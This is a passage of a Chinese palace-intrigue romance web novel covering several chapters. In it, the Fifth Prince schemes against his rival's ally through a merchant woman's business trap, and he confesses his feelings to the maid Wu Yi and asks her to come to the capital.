“张小姐。”李博面无表情,语气毫无波澜,“张海,不过是五皇子人生中,遇到了一只趴在路旁叫了两声的狗,五皇子走远了,他的叫声都听不见了,更别说会在五皇子心中留下什么深刻的印象了。所以,你现在就是白费力气。” “那你说,我该怎么办?” “如果是你哥哥,会怎么办?” “我哥哥?”张灵恍然大悟,“五皇子想救公主殿下,怎么救?你不说皇上的话就是圣旨,没有人可以违逆吗?不对,难道你想让我阻止五皇子?” 李博差点后悔自己与张灵站在同一条战线上的决定。“你是想当王妃,还是相当皇妃?” “什么意思?” “五皇子想成为太子,就不能做违背皇上的事情,一件也不行。” “所以呢?打算私自救出娉婷,李大人,你有没有想过,将公主殿下救出来之后呢?她去哪,她又能去哪?万一五皇子救出六公主的事情被皇上知道了,皇上怎么想?又或者皇上知道之前,别的人知道了,他们又会不会拿这件事情攻击五皇子?” “你以为你说的这些,五皇子没有考虑过吗?他从京城将六公主带出来,就打定主意接受所有的后果。而我们这些人,就是要帮助五皇子查漏补缺,将后患防患于未然。” “李大人想让我干些什么?” “去西凉,打入西凉王宫,等大婚那天,看准时机,救出六公主。” 张灵怔住了,打入西凉王宫救出万众瞩目的新娘子,这比做生意难多了。 “怎么?怕了?”李博眼神怜悯,“算了,就当我没说好了。只是张小姐,我看宫里,不适合你。” 张灵想说点什么,却前所未有的不知所措,心中的害怕战胜了所有的算计。 李博快步走到门边,毫不犹豫打开门打算离去,门口却突然出现一个熟悉的身影。 李博心里一紧,下意识后退一步,施礼道:“五皇子。” 周启脸色阴沉,瞪了李博一眼,一步跨进房间。 张灵很想自己根本不在这里,却发现避无可避。只好与周启施了一礼,“周大人。” “你和李博,关系挺好啊。” 李博倒吸一口凉气,赶紧解释道:“大人,我们就是随便说了几句话,闲聊了几句。” “你很闲吗?” 李博心一沉,周启这种仿佛玩笑的语气,就是真生气的标志。 李博大气都不敢出,张灵却恢复了镇定。 “五皇子,我很想帮您。” “帮我?”周启上下打量张灵,“你凭什么?” 张灵浑身紧张起来,甚至一动不动,却眼睛使劲一闭,“凭我是张灵,我可以帮您!” 张灵紧张地看着周启,李博也偷看周启,见他僵直的后背稍稍松懈,应该是张灵的话说到了周启的心坎上。 “周大人,我知道您想救娉婷小姐,我可以帮您。” “你怎么帮?” “我张家与西凉贵族素有往来,想在大婚之时带人进入皇宫,也不是不能做到。” 周启冷冷地说道:“不必了。” “周大人?” “周大人!”张灵紧走两步挡住要离开的周启,“周大人难道不想救妹妹了吗?” “李博!” 周启一声,李博差点跪下,他好不容易才站稳,“大人。” “你是嫌这事知道的人还不够,还是你嫌我妹妹的命太长?!” 此刻的李博真的跪在了地上,“大人,我就是想……” “你想什么?”周启皱着眉说道:“西凉的事情,不需要你管,你将徽州的事情收尾好就成了,其他都不需要你想。” 李博毫不犹豫,答道:“是!” 周启看向张灵,“今天的事情,如果被外人知晓了,我不管是不是你说出的,张家都一样要付出代价。” 张灵觉得周启变得很陌生,让人不寒而栗。最后只能以自己才能听见的声音说了一声,”是。” 周启转身离去,李博长出了一口气,“张小姐,看来你也不必白费力气了。” 张灵前所未有的劳累,颓然坐在椅子上。 李博给自己倒了一杯茶,坐在张灵身旁。 “怎么样,张小姐,现在还想嫁进宫里吗?以后你这个妾室想要有所作为,这样的时候,还多着呢。” 张灵红着眼,含着泪,挺了挺腰板,面色平静地说道:“你不必如此说,我意已决,宫里,我去定了!” 李博端着一杯茶,嘴角上扬,“成,那我就去帮你挽回一二。西凉就算了,既然五皇子已经筹谋好了,我们不必非要去,那个张海,五皇子似乎有了其他的打算,不如张小姐顺水行舟,帮五皇子达成一二。” 张灵一拱手,“那我就在这里等着李大人的好消息。” 李博笑了,“我做下人的,真是一刻也不得闲,日后我头上的主子多了,我还是得向人学学,少给自己找麻烦吧。” 一炷香后,李博笑脸盈盈回来,“张小姐好福气呀。” “何解?” “张小姐,我们五皇子是大周唯一的嫡皇子,可是皇上陛下迟迟没有立太子,你可知道为何呀?” “我听说,皇上宠爱李贵妃,对三皇子器重有佳。说实话,我们虽然是商家,却也知道,朝堂上,三皇子的分量很重。尤其是过去三年,三皇子参与了很多朝廷政事,口碑很好。至于五皇子嘛……” “至于五皇子嘛,那简直是养在深闺人未识啊。” 张灵点点头,“五皇子想要改变这种情况?” “太子之位,志在必得。” 第一百二十九章 周启帮吴怡洗衣服 - 风吹繁花散落时 - 红酒羊排 张灵歪打正着,使坏张海,却被周启看中,想要借力打力,插刀三皇子。 “张海在徽州做的,说是生意,其实就是空手套白狼,你想让他损失,甚至想伤害到他背后之人,难上加难,因为张海就没什么好损失的。” “空手套白狼?在这人精一样的徽州,张海真能套着吗?” “这也是一种生意,他卖的是消息。这么说吧,京城达官显贵的一句话,在京城不算什么,可是对于我们商人来说,却是白花花的银子。而张海,背靠大树好乘凉,他身后是户部尚书,户部尚书稍稍透露出一句话,就是巨大的商机。” 李博这才明白,在他眼里,宫里之事不能外传,是规矩,官场之事,有些秘事,他作为五皇子的书童,大多数也能听到一些风声,却从来没有想过这些竟是赚钱的路子。 “那可就要张小姐挥发优势了,只要能让张海出血,惊动他背后之人,就成了。” “然后呢?” 李博奇怪地看着张灵,“你是不是习惯性问然后?” “我只是想知道后续的事情,这样才能留有余地。” “留有余地?不需要什么余地,张小姐,狠狠咬住张海的脖子,让他再没有余地可以转寰,懂了吗?” 张灵觉得毛骨悚然,却还是强打精神,点头道:“这一次,我一定办妥。” — 李博看着张灵远去的背影,双手环胸悠悠说道:“五皇子,这样的女人,您确定要带在身边?” “这样的女人,不是很适合在宫里吗?” “啊?”李博见周启不像开玩笑的样子,“那这次可要狠狠打击一下那边,否则他们一定会极力阻止。” “那就开始吧。” “开始什么?” “哎呦吓死我了!”周启差点跳起来,却见吴怡站在身后,拿着一把大扫帚,一张无辜的脸。“你怎么走路也没个声音?” “我都站这里好久了,是你没看见我。” “你站这里好久了?那你都听见了?” “听见什么?”吴怡疑惑不解,“我就听见你说要开始,我一问你,你就说我吓你。” 周启翻了个白眼,一把推开吴怡,“烦人的女人。” 吴怡被推开,却反手保住了周启的胳膊,“周大人,嘿嘿,跟您商量个事呗。” “快说,我很忙的。” “就一句话,不耽误您时间。” “那你快说啊。” “大人您看,冬天了,能不能…” “不能!” “别呀。”吴怡厚着脸皮说道:“周大人怜香惜玉一下嘛。” 周启扒开吴怡的手,嫌弃道:“你又不是香,更不是玉。好好给我干活,别一天到晚想那些有的没的的。” “大人!”吴怡说什么都要与周启好好“商量商量”,吴怡紧走两步,伸开双臂挡住周启去路,“大人,我就是想问问您,能不能给我留点银两?一两就成。” “你想欠债不还呀?你可想好了,我虽然只是个县令,却大小也是个官员,你要是赖账,罪名可不小。” “我没有想赖账,我欠你这么多银子,大不了给你当一辈子丫鬟好了。可是这大冬天的,我身上一文钱都没有了,买什么东子都买不起,我怎么生活呀?” “这里供你吃住,你还想买什么呀?” “你看我的手。”吴怡将手背对着周启,红彤彤的,“都冻了,这徽州本来就潮湿,一入冬,更加难熬了。周大人,您就行行好,可怜可怜我吧!” 周启见吴怡的手的却有冻了的迹象,说道:“你这个笨女人,手都这样了,不会早点说话吗?就算衙门里没有冻疮膏,你不会出去买点吗?” 吴怡嘀咕道:“我不是怕你不同意吗?” “我又不是不讲道理!再说了,我知县衙门的丫鬟,手都冻了,说出去,还不被人笑死!” “那大人您就行行好,每个月稍微给我留点钱,我买点药膏,擦擦手也是好的。” “那就给你留半两吧。” “一两,一两吧,周大人,”吴怡眼神热烈,周启一时抵挡不住,“好好好,就一两吧,你…” “嘿嘿嘿,谢谢周大人。”吴怡使劲抱了一下周启,转身就跑。 “没事不要总弄凉水…”周启说这话,已经如蚊子,他看见吴怡跑开的背影,突然觉得心头一暖,竟然忍不住笑了起来。 — “给你。” 吴怡正在洗衣服,周启突然递过来一个小圆盒。 “什么呀?” “你拿着。” 吴怡将手上的水随意擦在身上,接过小圆盒,手掌大,沉甸甸的,最上边有一颗蓝宝石,周围还有一圈小小的红宝石点缀。 吴怡也不识货,以为宝石是假的,根本不在意盒子,而是好奇地拧开盖子。 “好香啊。” 周启双手背后,停止了身板说道:“娉婷要回家了,这个说带着怪累的,要扔掉。我想着你肯定没有,赏你了。” 吴怡嘟着嘴,嘀咕道:“好好的话不能好好说吗?” “什么。” “没事没事,谢谢大人,谢谢小姐。” 周启见吴怡已经咧着嘴将擦手油揣进了怀里,好奇地问道:“你不用用吗?” “我洗衣服呢,一会儿再用。” 周启一皱眉,“这不是衙役的衣服吗?” “嗯,是啊。” “干嘛你洗?他们人呢?” “巡逻去了。”吴怡已经又开始洗了,她斜着头说道:“大人,大家可都是在您麾下当差,辛苦了。再说了,他们要是衣冠不整,邋里邋遢,丢的可是咱们知县衙门的人,您说是不是?所以我现在没事,帮他们洗洗。” “笨女人。” “你干嘛又骂我笨?” “你本来就笨。” “嘿,我就给大家帮帮忙我就笨了?那是不是我什么都不管,只是自扫门前雪,我就聪明了。那我还有人情味吗?” “人情味有什么用呢?受苦的还不是你自己。” “我就洗几件衣服,没受什么苦。” “手都冻红了,还洗!” “大人,您要真可怜我,就不要克扣我,比不让我洗衣服强多了。” 周启一时哑口无言。 “不可理喻!” 吴怡见周启气鼓鼓走了,纳闷道:“奇怪,干嘛又生气?” 吴怡不明所以搓着衣服,突然一个阴影盖了过来,“你又要干嘛?” 周启气鼓鼓坐在吴怡身边,双手环胸,吴怡也不知道他想干嘛,便不再说话继续洗衣服。 周启又不能一直生气下去,便偷看了两眼吴怡,突然抿着嘴笑了。 “帮我一下。” “嗯?” 吴怡拎起湿衣服,递给周启一边,“帮我拧一下。” “你让我帮你洗衣服?” “反正你也没事干嘛。” “谁没事?!”周启虽然嘴上嫌弃,却已经接过衣服的一角,“怎么弄啊。” “你就使劲拿着啊,别松手啊,千万别松手。” 吴怡很快拧好了衣服,便将整件都交给周启,“放到那个盆里,然后拧下一件。” “吴怡。”周启一边帮忙,一边抱怨道:“我告诉你,本官可是很忙的,现在能帮你不代表以后还能帮你,以后能帮你不代表永远都帮你。” “好,知道了,周大人是大忙人,我谢谢您了。”吴怡以同一种语调揶揄着。 周启却没有生气,甚至被吴怡指挥,拧完了衣服,涮洗衣服,最后晾衣服。 “周大人。” “说。” “其实你是个好人。” “这用你说?” “就是平时混蛋了点。” 周启双手叉腰,皱着眉瞪吴怡。 吴怡指着周启,“你看你看,又生气了吧!” “你少气我几次,我还能活得久一点。” “我怎么气你了,我还敢气你。你看你,你天天欺负我,不给我工钱还叫我干活,我不也在这里老老实实听你话?还气你呢,我可不敢。” “笨女人。” “你干嘛又骂我笨?”吴怡有些生周启的气,“我就算很笨,不影响生活不得了,干嘛总要骂我。天天欺负我,你很开心吗?” “不是呀。” “我看你就是喜欢欺负我。” 吴怡一把夺过周启手中的衣服,自己晾了起来。 “我…我…” “你什么?有话快说,我很忙的,一堆活儿等着我干。一会儿他们都要巡逻回来了,我还得帮着李婶做饭呢,要不到了点没饭吃,你又要发脾气你了。” “我有这么爱发脾气吗?” “有!而且你还特别爱对我发脾气,我知道我欠了你银子,很多很多银子,但是我会还的,你不用担心,我爹还被侍卫大哥照顾着呢,为了我爹,我也不会自己跑了。放心吧,我一定会还你银子的。” “谁叫你还了。” “我不还,你还不得吃了我?更得欺负我了,我才不想被你欺负呢。” 吴怡开始了啐啐念,“周大人,您一个大人,总是和我小女子过不去,有意思吗?要是您觉得无聊,您巡街去呀,要不您逗乖乖去吧,它是狗,就算您骂它笨,它也不明白,也不会伤心难过,更不会生气…” “吴怡!” 周启突然很严肃,“以前总是说你笨,欺负你,是我不对,以后不说了。” 吴怡咧着嘴笑道:“没关系,我大人有大量,原谅你了。只是你要是能给我涨点工钱,我就更高兴了。” “不能。” “切,没诚意。” 第一百三十章 娉婷的后路 - 风吹繁花散落时 - 红酒羊排 “周大人,你没发烧吧?”吴怡见周启像做错事被抓一样,有点郁闷,便打趣到。 周启打开吴怡伸过来的手,“你这个女人!” “哈哈哈。”吴怡喜笑颜开,“周大人,你刚刚那样,我都要不认识你了。好了好了,我就小女子不计大人过,原谅你了。” “你别得寸进尺啊。” “嘿嘿。”吴怡晾好了衣服,对着周启做了个鬼脸,“放心吧,我很开朗的,不会跟你计较。” 周启再次被吴怡气到,吴怡已经拿着盆离开,周启却站在原地双手叉腰,“我这个笨蛋,干嘛理她这个笨女人?!” — “收拾完赶紧走,这个破徽州,我一天也不想呆了!” 李博正在书房整理东西,见周启气鼓鼓进来,还说了句小孩脾气的话。 “这也不是想走抬腿就能走的呀,得看看朝廷会不会派新的知县来,若是有员前来,还得交接呢。” 周启突然心里很烦,“怎么还不吃饭?我都要饿死了!” 李博刚以为周启要说些政事,正要禀报,周启却话锋一转,从小到大第一次主动喊饿。 “我去厨房看看,叫李婶快一点。” “算了!” 周启一句话也不想说,拿起书快速翻着,又放下书拿起笔,可是心不静,也不适合写字。最后,周启百无聊赖,手指头敲击着桌面。 “五皇子?”李博小心翼翼,“您没事吧?” “没事啊,我能有什么事?”周启伸着脖子看窗外,院子里一个人都没有。 李博不知道周启怎么了,只好转移话题。 “二愣子已经处决干净了,牢里的张广却一点动静都没有。张海最近积极做生意,就好像完全把张广给忘记了一样。” “张灵呢?” 李博见周启终于不心猿意马,赶紧说正事,“她说会很快叫张海赔的连老婆本都不剩。” 周启满意地点点头,李博却唏嘘道:“五皇子,这个女人真的不好惹。” “又没让你去招惹她,你怕什么?” “我可是为您担心,这个女人一旦招惹上,非死即伤。” “是吗?” “当然了,您是人中龙凤,自然不会被一个小女子伤害分毫,可是我就是您的小跟班,到时候,她要是丧心病狂连我都害,您可得替我主持公道啊!”李博可怜巴巴望向周启,见周启笑了,终于放下心来。 其实李博也有私心,他心里真的有点担心张灵日后会翻脸不认人,在他眼里,这个女人似乎什么事情都干的出来,只要对她有利。 “别胡说八道了,这几天,你让牢里松懈一些,给张海一点机会。还有张灵那边,你配合一下她。” “可是我们一个月后就要回京了,我真担心,时间不够了。” “就是要打三哥一个措手不及。等我们在这边得手,马上回京,让他连反应和应对的时间都没有。” “那可得抓紧了。” 周启瞪着李博,“那你还在这干嘛?” “哦,那我马上去!”李博其实很不想与张灵有什么太多交集,只是如今周启对张海已经三皇子势在必得,时间又紧迫,容不得李博向后闪躲。 —— 一旬之后,张海已经完全被张灵摆布。 “张灵这女人真是厉害,如今张海对张灵已经言听计从,我看张灵若说咱们府里那条狗价值不菲,张海也会信以为真的。” “张灵如何做到?一旬而已。” “说实话,咱们这位三皇子不知从哪里挑来这么一个废物,幸亏张灵头脑精明。 这一旬,张灵搭台子唱戏,所有商业往来,全为了请君入瓮,所以这一旬,张海遇到的所有人,都是张灵一手安排的。 最开始,张灵将我也瞒得死死的,原来十个人做生意,九个人都已经联合,独独赚张海一人的钱财。” “赚张海的钱?” “哦,是我表述的有问题,张灵说,为了最后狠狠赚上一笔,就要在一开始,让张海尝到最大的甜头。让他觉得只要跟着张灵,生意就能顺遂,只是赚多赚少而已。” “那就好,还有两旬,千万不要出现任何差错。” “明白!”李博心情大好,他早就希望周启能打起精神,拿下东宫,这样,那个活蹦乱跳的三皇子和户部尚书李天时才能老老实实守着为臣的本分,他这个书童,也算是当出来了。当然这些私人恩怨,李博也算拿得起放得下,嫡皇子继位,本就是大义,国家早立太子,朝局稳固,百姓也可安居乐业。若是三皇子久居高位,嫡皇子却被排挤,朝上并会分裂,党争不断,大周朝局不问,最终受苦的还是万千百姓。 李博忽然见周启又开始心猿意马起来,还时不时望向窗外。 “五皇子?您看什么呢?” 周启吓了一跳,赶紧收回视线,“没什么,昨天娉婷走了,家里也冷冷清清的。” 李博心底一沉,“五皇子,您为什么没有告诉六公主要营救她的事情?我昨天见她一言不发,死心了一般。” “她这样才好,否则父皇看出来端倪,就麻烦了。” “万一六公主在路上想不开,您不是白谋划了?” “不会的。”周启对娉婷的脾气十分熟悉,“之前她也是回到京城之后才再次逃跑的,她很清楚,如果她不能回宫,父皇对我,一定会追究到底。所以她不敢,再说了,父皇之前抓了陈明阳,娉婷就算是为了陈明阳,也不会再胡闹了。西凉,她是去定了。” “那就好,只要公主毫无异常,皇上、丞相大人,甚至李天时都无法知晓您的谋划,到时候,我们一定能救出六公主。” 停顿好久,李博还是说出来自己的担忧,“只是……” “有话就说。” “救出六公主之后呢?” “当然是回宫了。” “万万不可!” “你什么意思?她可是我妹妹,到时候西凉都被灭了,她回宫,不是再正常不过了吗?” “五皇子。”李博看着周启,坚定地说道,“五皇子,六公主与您不同,她是女子,婚嫁之事,半点由不得自己。您是我大周唯一的嫡皇子,还只能听从皇命,赢取外邦公主,更何况是六公主。但是因为您的男子,就算您将来不喜欢那外邦公主,您还可以娶侧妃。但是公主不同,她一生只能嫁给一个男子,万一那个男子,对咱们大周朝局的稳固很有帮助,却完全不适合公主。如今您救了公主,他日,公主还是会生不如死。” “你到底想说什么?” “五皇子,您明明知道,六公主心有所属,而那个人,也能够为了六公主豁上性命。” “闭嘴!” 李博低下头,看着地板,“五皇子赎罪。” 周启自然很想发脾气,但是他更知道李博说的话是事实。 “五皇子……” “你出去!” 李博施礼告退,周启颓然坐在椅子上。 —— 日落时分,周启并不点灯,也没有踏出过房间半步。 大家都很着急,尤其是连锁和李婶。 连锁作为周启的贴身太监,当然知道周启这样的态度,就是不希望任何人打搅。 李婶着急的理由简单直接,“再不出来,饭菜都凉了,管家,您进去请请大人?” 连锁直摇头,书房禁止饮食,这是宫里的规矩。况且还有半个月就回京了,连锁可不想这个时候触霉头,万一五皇子一生气将他留在徽州了,他一个太监,哭都不知道去哪哭。 李婶见连锁不敢说话,便与吴怡说道:“那我进去看看大人,这事情要做,饭也不能不吃。” “李婶,我进去吧。”吴怡觉得李婶说的有道理,她将李婶手中的饭菜接过来,来到书房门口。 “大人?周大人?” 周启正坐在椅子上,因为屋里漆黑一片,外边看里边看不清楚,里边看外边却是清清楚楚。 “干嘛鬼头鬼脑的。” “谁鬼头鬼脑了?我给你送饭吃。”吴怡嘀咕道:“要是不给你送,一会儿又要发脾气,给你送了,还是我的不是了。” 周启可没听见吴怡的嘀咕,“拿进来呀。” 吴怡噘着嘴,大步流星踏进书房。 “你干嘛不点灯啊?没有了吗?” “在这呢,你点上吧。” “你不会自己点啊!”吴怡虽然嘴上抱怨,却还是放下了餐盘,点起了灯。 “你干嘛不吃饭?” “你关心我啊?” “切,大家都很担心。还有啊,这大冬天的,你不吃完饭,我都没法洗碗,一会儿水更凉了,你是不是故意的!” 周启端起碗吃饭,懒得搭理吴怡。 “周大人。” “嗯?” “你是不是有什么不开心的事情?不会又被贬了吧?那县太爷下边还有官吗?哈哈哈。” 吴怡一句玩笑话,周启却是肯定的回答。 “啊?你,那你……你以后不当官了?” “我爹觉得当县令没前途,让我回家。” “当县令还没前途?你们这些大人物,想要的就是太多了。” “多吗?你不也想以后买个房子,和李老四安安稳稳地过日子?每个人都得有点追求吧。” 吴怡点点头,“那你以后就回京城了?”吴怡突然很不舍,“那以后是不是见不到你了?” 第一百三十一章 各人有各人的烦恼 - 风吹繁花散落时 - 红酒羊排 “你想什么呢?你还欠我这么多银子,你想赖账啊!” 吴怡刚刚的不舍瞬间烟消云散,“那是你自己要回京城,我才不去京城呢。” “为什么,京城可好了。” “我想回家照顾我爹,我都好久没有看见他了。” “你想家了?” “是啊,我爹虽然很不靠谱,但好歹是我爹呀。他一个人把我拉扯大不容易,如今他身体又这样了,我不照顾他,他以后怎么办?再说了,你都要回家了,你的侍卫是不是也得和你一起回去,那我爹就没人照顾了,我可不得回家去照顾他嘛。” “看来你是真要赖账啊!” “没有!” “没有就没有吧,这么激动干嘛。” 长久的沉默后,吴怡终于问道:“周大人,你是不是要回家去娶亲?” “你怎么知道?” “那天我在门口听见了,李大人说你要娶一个外邦的公主。” “你……” “公主一定很美吧?像仙女一样。”吴怡笑着说,“人家公主是不是嫌弃你是县令,嫌你官小啊?所以让你回家去,以后去外邦当驸马?” 周启一句话都不说,只是听着吴怡好像喝醉了一般喋喋不休。 “周大人,不管那个外邦公主怎么看你,我都觉得你是个好官。以后你到了外邦,给人家当了上门女婿,你也要好好的生活呀。” “吴怡,不是所有人都能当驸马的。” “我知道,戏台上都演过。你是状元老爷嘛,公主看不上你还是丞相的女儿,总会有大家千金看上你的,以后你的官路就一片辉煌。”吴怡双手抱拳,“那叫什么,苟富贵勿相忘,哈哈。” 周启看着吴怡,她明明脸带笑容,却似乎那么失落。也许不是吴怡失落,而是他自己。 “吴怡……” “大人你放心,我吴怡就算是砸锅卖铁,也会将银子还给你,到时候没准我还去外邦看看你呢,你可不要因为当了驸马就翻脸不认人啊。” “吴怡…” “哦对了,人家戏台子上都演了,很多驸马都是抛弃了糟糠之妻,幸亏你没有。哎你没有吧?” “胡说八道什么,我有没有糟糠之妻,你不知道吗?” “我怎么知道?我天天低头干活,怎么能知道大人的事情,说不好,这屋子里就藏着女人呢。” “瞧瞧,你又要生气了。我跟你说,你以后给人家当了驸马,对人家公主好一点,不要总是发脾气,小心公主一生气,砍了你。你那个时候身在外邦,可没人照顾你。” “还有啊,晚上读书对眼睛不好,你少读一些书没事的,反正你都当上状元老爷了,以后你还是驸马,书读的已经够多了,没人敢说你书没读好。” “哦对了,外邦比这徽州城可冷多了,到时候你可得多穿点,吃饭的时候多吃点。你看你,每天就吃一碗饭,长得太瘦了,万一冻着了,可怎么办好呢。” “吴怡…” “周大人,说实话,你去了外邦,真是我们大周的损失…” “吴怡…” “我们少了一个好官,也许再过几年,皇帝陛下想起你的好了,又让你当知府了呢。” “吴怡!” 吴怡终于不再说话,眼眶含泪看着周启。 “吴怡,跟我走吧。” 吴怡笑了,却仍旧拒绝。“我真的不能去外邦。” “那正好,我也没想去外邦。” “那怎么行,人家公主殿下还等着你呢。” “吴怡,是我爹让我娶公主,我也没有办法。” “我知道,你们大户人家,父母之命媒妁之言嘛。不过你要想,你们总比我们这些百姓强多了。也许有一天我为了还你钱,就嫁给一个地主家的傻儿子。哈哈。” “又胡说八道。” “没胡说啊,早知道这样,当时死皮赖脸嫁给钱宁就好了,他可有的是钱。” “我也挺有钱的。” 吴怡白了周期一眼,“你能没钱吗,我就欠了你这么多钱呢。” 周启看着吴怡,终于忍不住说道:“吴怡,我说真的,你跟我走吧,你欠我的银子,我不要了。” “你这么大方?说实话,我都有些心动了呢。” “所以叫你跟我一起回京啊,你家不也北方的吗?去京城,又不会不适应。” “可你娶了公主,就要去外邦了,我还待在京城干什么。” “我不会去什么外邦的,我家在京城也是名门望族,不需要入赘。” 吴怡好像发现新大陆一样,“你家这么厉害?能娶公主进门啊?” “就是啊,我家,很厉害的。”周启突然笑了起来,“我爹很有钱,给我娶个公主,没问题。” 吴怡又瞪了周启一眼,“炫耀什么,那是你爹,又不是你。” “我?我能养的起你就行了。” 四目相对,周启觉得自己说这话太唐突,又似乎说的太晚了。 “吴怡,只要你愿意,我可以养你一辈子。” 吴怡愣住了,只听周启又说道:“还有不到二十天,我就要回去了,若是我今天不说,就再也没有机会了。 吴怡,我家里,很大很复杂。人多,钱多,事也多。 可我是家里的嫡子,我不能不管,也不能由着我自己的心意做这做那。可我…这一次,我很想由着我一次,我很想带你回去,给你看看我家里的样子,介绍你认识我的家人。甚至,想和你到未来去看看,看看大家能变成什么样子。 吴怡,我从小到大,身边来来去去很多人。可是他们大多数没有给我留下什么太深刻的印象,来也就来了,走也就走了,我都不会太在意。 可是,我马上就要回京了,我在想,这辈子还能不能再来一次徽州,都是未知之数,更何况再见你一面。若是我不带上你,我们就算是…永别了吧。” 周启拉起吴怡的手,“我想着我们再也见不到了,心里就空落落的,甚至,甚至第一次想违抗父命,不回去了!可是…” 周启突然很自责,“娉婷还等着我去救她,我娘也等着我回去。” 周启叹了一口气,继续说道:“我爹呀,本来就不喜欢我娘,他觉得外公家族势力太大,会威胁到他的地位,所以就对我娘百般冷落。 我明明才是嫡子,我爹却一直将三哥带在身边,言传身教,所以很多人都说,我爹疼爱的只有那个妾而已。 以前我在家里,我娘就一直告诉我要争气,要将所有的兄弟都比下去。她叫我不能喜形于色,尤其在我爹面前,我要孝顺,要听他的话,一句话也不能违逆。我娘说,只有这样,我们才能活下去,甚至,继承我爹的家产,让那个妾,付出代价。 呵呵呵,吴怡,你现在是不是觉得我很可怜。你爹虽然不靠谱,但他还是一心一意对你的,可我呢?我爹有好多儿子,有好多妻妾,还有好多算计。” 周启长出了一口气,“吴怡,我以前不想与三哥争什么,我觉得没劲。可是如今,我在徽州任上,尤其我当了知县,我才发现,你不身居高位,很多事情你就办不到!你想庇护百姓,你想建功立业,很多人拦着你的呢。 ” 周启看了一眼吴怡,她已经双手叠放在桌子上,下巴枕在手上,似乎昏昏欲睡。 “说多了,不该与你说这些。” “说出来也好,没想到你们这些大户人家,也有这么多烦恼。这么一想,我过得还是很好的嘛。 我爹虽然不靠谱,带着我坑蒙拐骗,还输光我所有的银子。但是我知道,我爹是为了养我,为了多赚点钱,让我能嫁个好人家才去做那些事情的。 周大人,我跟你说个秘密。”吴怡直起了腰背,对周启说道:“我爹娘是相互爱慕才走到一起的,所以我才跟了娘姓,可是后来,家里太穷了,娘就走了,也没有带我。这些年,爹怕我恨娘,从来没有告诉我。但是其实我知道啊,娘改嫁了,嫁给一个老头子当了妾,还生了一个弟弟。 我不恨她,因为我知道,穷,是什么滋味。 周大人,每个人都会有自己的烦恼,但是我们总不能将烦恼刻在脑门上,愁眉苦脸地过日子吧? 也许这就是我的命,我就担着。” 周启摸摸吴怡的头,“你以前受苦了,以后我会好好照顾你的。怎么样,跟我回家吧?工钱给你长点,以前的银子,我也不要了。” 吴怡抬起头,“那可不行,欠你的钱,我还是要还的。为了早日还上,你给我长点工钱,每个月再给我剩下二两银子,那就是极好的。” “呵呵呵,你倒是敢说。” “周大人,你刚才还说要照顾照顾我呢,怎么,一提到银子,你就翻脸不认人啊?再说了,我千里迢迢到京城去伺候你,你不得表示表示啊。” 周启心想:照顾和照顾照顾是一个意思吗?不过吴怡愿意跟自己回京,还是极好的。周启心中一下子守得云开见月明,“成,那可说定了,你跟我回去啊。” 吴怡点点头,“恩,有钱不赚我是傻子。” “研墨。” “写啥?” “契约呀,我怕你明天赖账跑了。” 吴怡又翻了个白眼,“小气鬼,就知道欺负我。” 周启洋洋洒洒写下契约,递给吴怡。 吴怡看了一遍,撅嘴道:“你居然让我给你当三十年杂役?你也太狠了吧!” “你欠我一万多两银子,一百年你也还不上,现在我就让你干三十年,你还嫌多呀!我告诉你啊,你要是把账带到下辈子,下辈子你还得给我当杂役!” 吴怡一听,赶紧将字签了,“我下辈子可不能再当杂役了。” 周启将契约接过来,满意地收了起来。 “那你下辈子想当什么?” “当然是当棵树喽。” “当树?树有什么好?” “树多好呀,在深山老林里,听着鸟儿鸣叫,看朝霞晚霞,好美。” “天天让你看,烦死你。” “没情调。哼。” 吴怡才懒得理周启,“吃完了吧?我收走了,我还得洗碗呢。” 吴怡走到门口,周启大喊道:“好好干啊,给你涨工钱。” “知道了!” 周启笑着又将契约掏出来,心情舒畅地看着,“吴怡,吴怡…这个笨女人,这辈子就交代给我了。” 第一百三十二章 张海威胁张灵 - 风吹繁花散落时 - 红酒羊排 徽州之事紧锣密锣地进入了收尾阶段,张海在张灵的巧妙安排下进账甚多。 “张小姐真是天纵英才,张某人都不知道怎么表达对张小姐的仰慕之情了,因为任何语言用以形容张小姐的商业头脑,都是苍白无力的。” 张灵腼腆地笑了,“张老板客气,多亏张老板果决,否则单凭我一人,也无法达成。” 张海似乎很满意张灵的说法,“张小姐,那下一步?” “快过年了,绫罗绸缎正是紧俏,加上北方的皮子……哎呦瞧我,张老板常年在京城活动,那些贵人们喜欢什么,张老板比我清楚多了。” 张海似乎很受用张灵捧着他,“这是自然,张小姐有货?” “这种东西,每年都有,就看每家能抢占多少了。今年我张家流通来的绫罗绸缎与往年差不多,就是北方的皮子多一点,毕竟我哥哥亲自去了,今年是他第一年主持这事,各家多少捧点场。” “绫罗绸缎,张某也有一些,只是皮子难弄,不知道张小姐能不能做主,匀给我一些。” 张灵故作为难,“张老板,生意归生意,情谊归情谊。我张灵的确想仰仗张老板,打钱家一个措手不及,以报辜负之仇。可是匀给张老板皮子的事情,张灵实在做不到。” “张小姐误会,我说的匀出来一些,是流通的意思,我怎么能叫张小姐做赔本买卖。我这里有渠道,能赚上一笔,只是没有货罢了。” “张老板有所不知,我哥哥今年第一次主事,很是谨慎呢。别说是家里那些老狐狸们眼睁睁开着,就是徽商也都瞪大了眼睛瞧着呢。若是皮子生意,我让你插手了,钱家顺着蛛丝马迹,发现你我已经做了好几单生意,明年的春茶生意,张老板只能出局了。” “哎别别别。”张海赶紧摆手道:“还是春茶生意要紧,还是春茶生意要紧。” 张海再想赚钱,也不想得罪了张灵这位财神爷。 张灵已经与张海敲定了明年春茶生意的细节,只要张灵在西凉阻挡住哥哥和陈明阳回来,阻断钱记与西凉的联系,钱记只能折本出茶。而能吃下这么大量的商人,放眼整个南方,只有张海。而张海的表面强大,正是张灵在帮他扯虎皮而已。 到时候,张海将茶叶转手给张灵,下边张灵如何买卖,都不需要张海操心,张海却可以躺赚一个点利润。 这是张海好说歹说才谈下来的分红,只是需要他这个中间人露个脸,演个戏而已。 “哦对了张小姐,有没有想过和皇家做做生意?” “哦?”张灵强忍激动,却摆手道:“皇家的生意,商人根本没有话语权,所有事情都要听从皇家的调遣,出了事却要商人抗下所有的过错。火中取栗,不是我张灵的作风。” “张小姐的经商之道还真是独特。” “有些人喜欢顺势而为,而我喜欢掌握主动。” 张海拍手道:“张小姐真是女中豪杰,张某佩服佩服。” —— 张灵走后,屏风内闪出一人。 “跟上她,看看她都与什么人接触。” —— “哼,有意思。”张海放下茶杯,嘴角上扬,“看来,我的大运真的要来了。” —— “张小姐,张某可是等你多时了。”张海翘着二郎腿,笑着等张灵。 